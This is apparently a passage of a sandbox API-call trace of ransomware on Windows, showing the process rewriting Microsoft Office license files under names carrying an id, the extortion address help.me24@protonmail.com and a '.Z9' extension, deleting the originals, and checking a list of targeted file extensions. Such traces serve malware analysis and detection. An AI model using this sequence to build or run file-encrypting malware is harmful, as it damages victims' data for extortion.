	[0172.651] ReadFile (in: hFile=0x53c, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x4ddc, lpOverlapped=0x0) returned 1
	[0172.944] WriteFile (in: hFile=0x530, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x4de0, lpOverlapped=0x0) returned 1
	[0172.945] ReadFile (in: hFile=0x53c, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.945] WriteFile (in: hFile=0x530, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x110, lpOverlapped=0x0) returned 1
	[0172.946] SetEndOfFile (hFile=0x530) returned 1
	[0172.946] CloseHandle (hObject=0x530) returned 1
	[0172.946] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.946] SetEndOfFile (hFile=0x53c) returned 1
	[0172.949] CloseHandle (hObject=0x53c) returned 1
	[0172.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0173.193] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms")) returned 1
	[0173.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0173.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0173.208] lstrlenW (lpString=".doc") returned 4
	[0173.208] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.208] lstrlenW (lpString=".docx") returned 5
	[0173.208] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.208] lstrlenW (lpString=".pdf") returned 4
	[0173.208] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.208] lstrlenW (lpString=".xls") returned 4
	[0173.208] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.208] lstrlenW (lpString=".xlsx") returned 5
	[0173.208] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.208] lstrlenW (lpString=".ppt") returned 4
	[0173.208] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0173.208] lstrlenW (lpString=".zip") returned 4
	[0173.208] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.208] lstrlenW (lpString=".rar") returned 4
	[0173.208] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.208] lstrlenW (lpString=".bz2") returned 4
	[0173.208] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.208] lstrlenW (lpString=".7z") returned 3
	[0173.208] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0173.208] lstrlenW (lpString=".dbf") returned 4
	[0173.208] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0173.208] lstrlenW (lpString=".1cd") returned 4
	[0173.208] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0173.209] lstrlenW (lpString=".jpg") returned 4
	[0173.209] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0173.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0173.209] lstrlenW (lpString=".doc") returned 4
	[0173.209] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.209] lstrlenW (lpString=".docx") returned 5
	[0173.209] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.209] lstrlenW (lpString=".pdf") returned 4
	[0173.209] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.209] lstrlenW (lpString=".xls") returned 4
	[0173.209] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.209] lstrlenW (lpString=".xlsx") returned 5
	[0173.209] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.209] lstrlenW (lpString=".ppt") returned 4
	[0173.209] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0173.209] lstrlenW (lpString=".zip") returned 4
	[0173.209] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.209] lstrlenW (lpString=".rar") returned 4
	[0173.209] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.209] lstrlenW (lpString=".bz2") returned 4
	[0173.209] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.209] lstrlenW (lpString=".7z") returned 3
	[0173.209] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0173.209] lstrlenW (lpString=".dbf") returned 4
	[0173.209] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0173.209] lstrlenW (lpString=".1cd") returned 4
	[0173.209] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80
	[0173.209] lstrlenW (lpString=".jpg") returned 4
	[0173.210] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.210] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0173.210] lstrlenW (lpString="AccessR_Trial-pl.xrm-ms") returned 23
	[0173.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0173.292] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=11143) returned 1
	[0173.292] CloseHandle (hObject=0x550) returned 1
	[0173.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms")) returned 0x220
	[0173.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0173.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0173.292] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.292] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0173.293] GetLastError () returned 0x0
	[0173.293] ReadFile (in: hFile=0x550, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x2b87, lpOverlapped=0x0) returned 1
	[0173.295] WriteFile (in: hFile=0x4a8, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x2b90, lpOverlapped=0x0) returned 1
	[0173.296] ReadFile (in: hFile=0x550, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.296] WriteFile (in: hFile=0x4a8, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x102, lpOverlapped=0x0) returned 1
	[0173.297] SetEndOfFile (hFile=0x4a8) returned 1
	[0173.297] CloseHandle (hObject=0x4a8) returned 1
	[0173.297] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.297] SetEndOfFile (hFile=0x550) returned 1
	[0173.300] CloseHandle (hObject=0x550) returned 1
	[0173.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0173.300] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms")) returned 1
	[0173.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0173.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0173.301] lstrlenW (lpString=".doc") returned 4
	[0173.301] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.301] lstrlenW (lpString=".docx") returned 5
	[0173.301] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.301] lstrlenW (lpString=".pdf") returned 4
	[0173.301] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.301] lstrlenW (lpString=".xls") returned 4
	[0173.301] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.301] lstrlenW (lpString=".xlsx") returned 5
	[0173.301] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.301] lstrlenW (lpString=".ppt") returned 4
	[0173.301] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0173.301] lstrlenW (lpString=".zip") returned 4
	[0173.301] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.301] lstrlenW (lpString=".rar") returned 4
	[0173.301] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.301] lstrlenW (lpString=".bz2") returned 4
	[0173.301] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.301] lstrlenW (lpString=".7z") returned 3
	[0173.301] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0173.302] lstrlenW (lpString=".dbf") returned 4
	[0173.302] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0173.302] lstrlenW (lpString=".1cd") returned 4
	[0173.302] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0173.302] lstrlenW (lpString=".jpg") returned 4
	[0173.302] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0173.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0173.302] lstrlenW (lpString=".doc") returned 4
	[0173.302] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.302] lstrlenW (lpString=".docx") returned 5
	[0173.302] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.302] lstrlenW (lpString=".pdf") returned 4
	[0173.302] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.302] lstrlenW (lpString=".xls") returned 4
	[0173.302] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.302] lstrlenW (lpString=".xlsx") returned 5
	[0173.302] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.302] lstrlenW (lpString=".ppt") returned 4
	[0173.302] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0173.302] lstrlenW (lpString=".zip") returned 4
	[0173.302] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.302] lstrlenW (lpString=".rar") returned 4
	[0173.302] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.302] lstrlenW (lpString=".bz2") returned 4
	[0173.302] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.302] lstrlenW (lpString=".7z") returned 3
	[0173.302] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0173.303] lstrlenW (lpString=".dbf") returned 4
	[0173.303] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0173.303] lstrlenW (lpString=".1cd") returned 4
	[0173.303] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0173.303] lstrlenW (lpString=".jpg") returned 4
	[0173.303] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.303] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0173.303] lstrlenW (lpString="AccessR_Trial-ul-oob.xrm-ms") returned 27
	[0173.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0173.304] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=11591) returned 1
	[0173.304] CloseHandle (hObject=0x550) returned 1
	[0173.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms")) returned 0x220
	[0173.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0173.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0173.305] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.305] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0173.305] GetLastError () returned 0x0
	[0173.305] ReadFile (in: hFile=0x550, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x2d47, lpOverlapped=0x0) returned 1
	[0173.307] WriteFile (in: hFile=0x4a8, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0173.308] ReadFile (in: hFile=0x550, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.308] WriteFile (in: hFile=0x4a8, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x10a, lpOverlapped=0x0) returned 1
	[0173.308] SetEndOfFile (hFile=0x4a8) returned 1
	[0173.309] CloseHandle (hObject=0x4a8) returned 1
	[0173.309] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.309] SetEndOfFile (hFile=0x550) returned 1
	[0173.313] CloseHandle (hObject=0x550) returned 1
	[0173.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0173.313] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms")) returned 1
	[0173.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0173.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0173.314] lstrlenW (lpString=".doc") returned 4
	[0173.314] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.314] lstrlenW (lpString=".docx") returned 5
	[0173.314] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.314] lstrlenW (lpString=".pdf") returned 4
	[0173.314] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.314] lstrlenW (lpString=".xls") returned 4
	[0173.314] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.314] lstrlenW (lpString=".xlsx") returned 5
	[0173.314] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.314] lstrlenW (lpString=".ppt") returned 4
	[0173.314] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0173.314] lstrlenW (lpString=".zip") returned 4
	[0173.314] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.314] lstrlenW (lpString=".rar") returned 4
	[0173.314] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.314] lstrlenW (lpString=".bz2") returned 4
	[0173.314] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.314] lstrlenW (lpString=".7z") returned 3
	[0173.314] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0173.314] lstrlenW (lpString=".dbf") returned 4
	[0173.314] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0173.314] lstrlenW (lpString=".1cd") returned 4
	[0173.314] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0173.315] lstrlenW (lpString=".jpg") returned 4
	[0173.315] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0173.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0173.315] lstrlenW (lpString=".doc") returned 4
	[0173.315] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.315] lstrlenW (lpString=".docx") returned 5
	[0173.315] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.315] lstrlenW (lpString=".pdf") returned 4
	[0173.315] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.315] lstrlenW (lpString=".xls") returned 4
	[0173.315] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.315] lstrlenW (lpString=".xlsx") returned 5
	[0173.315] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.315] lstrlenW (lpString=".ppt") returned 4
	[0173.315] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0173.315] lstrlenW (lpString=".zip") returned 4
	[0173.315] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.315] lstrlenW (lpString=".rar") returned 4
	[0173.315] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.315] lstrlenW (lpString=".bz2") returned 4
	[0173.315] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.315] lstrlenW (lpString=".7z") returned 3
	[0173.315] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0173.315] lstrlenW (lpString=".dbf") returned 4
	[0173.315] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0173.315] lstrlenW (lpString=".1cd") returned 4
	[0173.315] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0173.419] lstrlenW (lpString=".jpg") returned 4
	[0173.419] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.419] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0173.419] lstrlenW (lpString="AccessVL_KMS_Client-ul-oob.xrm-ms") returned 33
	[0173.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0173.534] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=11614) returned 1
	[0173.535] CloseHandle (hObject=0x524) returned 1
	[0173.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms")) returned 0x220
	[0173.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0173.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0173.535] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
